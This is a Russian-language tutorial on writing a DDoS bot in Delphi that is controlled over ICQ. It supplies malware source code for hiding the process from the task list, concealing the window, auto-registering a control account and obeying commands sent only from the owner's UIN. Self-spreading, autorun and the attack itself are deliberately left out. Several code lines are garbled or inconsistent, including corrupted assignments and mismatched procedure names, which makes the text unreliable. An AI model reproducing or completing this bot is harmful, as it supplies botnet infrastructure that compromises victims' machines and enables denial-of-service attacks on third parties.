DDoS бот на Delphi
В этой статье я расскажу как написать DDoS бота на Delphi c использованием компонента
TICQClient
(http://www.cobans.net).
Что должен делать бот:
1) Иметь функции трояна, т.е скрываться от таскбара, прописываться в автозагрузку и пр.
2) Функции червя - распространять сам себя.
3) Управляться через ICQ.
Сразу хочу сказать, что бот является только наглядным примером, написан был ради чистого
интереса. Использование по назначению
осложнается его размером (сжатый, например, ASPack'ом он имеет ~250 Kb).
Еще одно предупреждение, в статье я НЕ БУДУ описывать: 1) самораспространение, 2) прописку
в
автозапуск и 3) конкретный пример
какой либо атаки. Выберешь сам какой DDoS использовать, путь распространения и придумаешь
как
это реализовать , если нужно будет.
Хоть мозгами пошевелишь, а то привык наверное все готовенькое получать.
Наш бот будет автоматически регестрировать юин и используя примитивный метод, побоюсь этого
слова, "шифровки", запишет юин в файл.
Шифрование юина заключается в простом арифметическом действии с юином, например:
Uin1111111, прибавляем, например, 222222222,
получаем, что в файл записывается число 333333333. Соответственно, при чтении файла
производим обратное действие и присваиваем
переменной полученное значение, тоесть наш юин.
Для начала рассмотрим процедуру скрытия от Ctrl+Alt+Delete(Taskbar), для этого создадим
процедуру:
procedure Hide;
var
hndl : thandle;
RegisterServiceProcess : TRegisterServiceProcess;
begin
try
hndl:=loadlibrary('KERNEL32.DLL');
RegisterServiceProcess:=getprocaddress(hndl,'RegisterServiceProcess');
RegisterServiceProcess(getcurrentprocessid,1);
freelibrary(hndl);
except end;
end;
Также нужно зайти в Project -> View Source, и присвоить значение false, строчке
Application.ShowMainForm.
Application.ShowMainForm:ъlse;
Далее добавляем еще две процедуры:
{Подключение к серверу}
procedure Login;
begin
Form1.ICQClient1.Uin:=a;
Form1.ICQClient1.Password:='password';
Form1.ICQClient1.Login;
end;
{Регистрация юина}
procedure Reg;
begin
Form1.ICQClient1.RegisterNewUIN('password');
end;
Теперь опишем событие FormCreate.
procedure TForm1.FormCreate(Sender: TObject);
begin
Hide;
If fileExists('win') then
begin
AssignFile(f,'win');
Read(f,d);
CloseFile(f);
a:=strtoint(d)-222222222;
LoginICQ;
end ELSE
begin
RegUin;
end;
end;
Рассмотрим, что здесь происходит. В начале стоит обращение к процедуре Hide, Далее идет
проверка: если файл с юином
существует то записываем его в переменную и отправляемся к процедуре подключения к
серверу,
естественно после дешифровки.
В противном случае идем регестрировать юин. Теперь проверим два события, которые реагируют
на
завершение регистрации юина и
подключения к серверу.(OnLogin и OnNewUinRegistered).
{OnLogin}
procedure TForm1.ICQClient1Login(Sender: TObject);
begin
Form1.ICQClient1.SendMessage(uin,'Yeeeeeh.=).
Send me "c:help" for get help text.');
end;
{OnNewUinRegistered}
procedure TForm1.ICQClient1NewUINRegistered(Sender: TObject; UIN: String);
var
c:integer;
TxtFile : TextFile;
begin
a:=strtoint(#13#10 + UIN);
c:=amЫ¶;}
AssignFile(TxtFile, 'win');
Rewrite(TxtFile);
WriteLn(TxtFile, c);
CloseFile(TxtFile);
Login;
end;
В процедуре ICQClient1Login. все довольно просто, после подключения к серверу бот посылает
сообщение на определенный юин хозяина.
В сообщении содержится команда "c:help", отправив сообщение боту с коммандой help,
пользователь получит список комманд для бота, но
об этом позже. Теперь разберемся с процедурой TForm1.ICQClient1NewUINRegistered, здесь мы
шифруем юин полученный при регистрации и
записываем в файл, переменная "a" присваевает значение "с" (юин) и отправляется на процедуру
Login.
Управление ботом.
Управление ботом производится достаточно просто, как я уже упоминал, по средствам
сообщений.
Получив от вас сообщение с командой бот
смотрит от какого юина сообщение и что нужно выполнить, производит эти действия и посылает
вам
ответное сообщение, главное подключить
фантазию Вот простой пример:
procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String);
begin
If UIN='uin' then
begin
if Msg='c:disc' then
begin
ICQClient1.LogOff;
Form1.ICQClient1.SendMessage(uin,'Disconnected.');
end;
if Msg='c:msg' then
begin
{Действие];
Form1.ICQClient1.SendMessage(uin,'Выполнил действие.');
end;
end;
end;
Также я упомянул о команде "c:help", чтобы сделать подсказку нужно просто содать список всех
команд для бота и описания к ним, при
запросе команды Хелп, просто послать список хозяину, описанным выше способом.
Статья подошла к концу, я описал все что хотел, остальное сделаешь сам. В скором времени
планируется дополнение к статье для реализации
управления не через ICQ, а через IRC, отличий мало поэтому ты сам легко это сделаешь.